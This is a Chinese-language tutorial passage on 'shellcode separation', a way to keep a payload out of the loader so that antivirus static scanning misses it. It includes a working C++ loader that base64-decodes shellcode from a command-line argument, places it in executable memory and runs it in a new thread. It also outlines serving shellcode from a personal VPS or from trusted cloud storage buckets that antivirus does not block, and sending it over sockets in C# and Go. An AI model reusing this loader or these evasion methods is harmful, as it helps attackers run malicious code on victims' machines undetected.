5-分离

注意:这里我只以shellcode进行base64编码后的字符串作为传输的数据,当然你也可以换成其他加密算法,注意数据类型之间的转换就可以了。

一、C++

1.1 读取命令行参数

在 C++ 中,读取命令行参数通常通过 main 函数的参数 argcargv 实现。argc 是参数的数量,argv 是一个字符串数组,包含所有传递给程序的参数。

#include <iostream>
#include <string>
#include <vector>
#include <windows.h>
// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

int main(int argc, char* argv[]) {

    // base64编码的字符串
    const char* base64string = argv[1];

    size_t len = strlen(base64string);
    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode((unsigned char*)base64string, len);


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

1.2 本地读取文本文件中的shellcode

注意:如果使用clang和MinGW编译器,则无法读取有中文路径的文件,MSVC编译器无影响

1.3 远程读取shellcode-简单http服务器

在自己的VPS服务器上开启http服务器:python -m http.server 8888

使用到了 wininet.lib 这个静态库。#pragma comment(lib, "wininet.lib") 是一个编译指令,用于告诉编译器在链接阶段链接特定的库。

1.4 远程读取OSS存储桶的文件

大厂的OSS存储桶是有“绿标”的,当你访问带有“绿标”的url时,杀软不会拦截。

我这里使用的是阿里云的OSS存储桶,这种shellcode分离方式看个人喜好进行选择。

官网对象存储(OSS)-阿里云帮助中心arrow-up-right

与读取http服务器上的文件一样,只需要指定url就可以读取到。记得在几分钟内访问哦,不然可能会失效。当然也可以去oss控制台设置时间

1.5 socket传输shellcode

不是很推荐这种方法

注意:这个服务器代码只能在windows运行。

客户端代码

二、CSharp

1.1 读取命令行参数

与C++一样,可以在 Main 方法定义为接受一个字符串数组,数组中的每个元素都是命令行传递的参数。

1.2 本地读取文本文件中的shellcode

C# 读取文件非常的方便,用到了 System.IO 这个命名空间,C # 读取文件的代码如下

完整代码

1.3 远程读取shellcode-简单http服务器

C# 远程读取文件的方式如下

完整代码

1.4 远程读取OSS存储桶的文件

与C++介绍的方法一致,只需修改fileurl即可

1.5 socket传输shellcode

C# 实现socket特别的方便

服务器

客户端

三、Go

1.1 读取命令行参数

在 Go 语言中,可以使用 os 包来读取命令行参数。命令行参数在 Go 中通过 os.Args 变量访问。os.Args 是一个字符串切片,包含了命令行中传递给程序的所有参数,第一个元素是程序的名称,后面的元素是传递的参数。

1.2 本地读取文本文件中的shellcode

Go中读取文件内容的方式有很多种,我只介绍 os.ReadFile 方法

1.3 远程读取shellcode-简单http服务器

可以使用 net/http 包,发生GET请求并读取响应内容

1.4 远程读取OSS存储桶的文件

不过多介绍,与C++、C# 说过的步骤一样

1.5 socket传输shellcode

go拥有强大的网络编程包 net ,可以轻松实现socket编程,且跨平台,与C++令人难受的网络编程形成鲜明对比。

服务器

客户端

至此,常见的shellcode分离的方式已经介绍完了,当然还有一些方法我未提及,比如说将shellcode隐写到图片里,虽然隐蔽性很强,代码弄起来挺麻烦的。使用我在本节提到的方法足以应付杀软的静态查杀了,使用更高级的分离技术达到的效果与我介绍的方法并没有太大的区别,还会使得代码量大幅提升,有点得不偿失。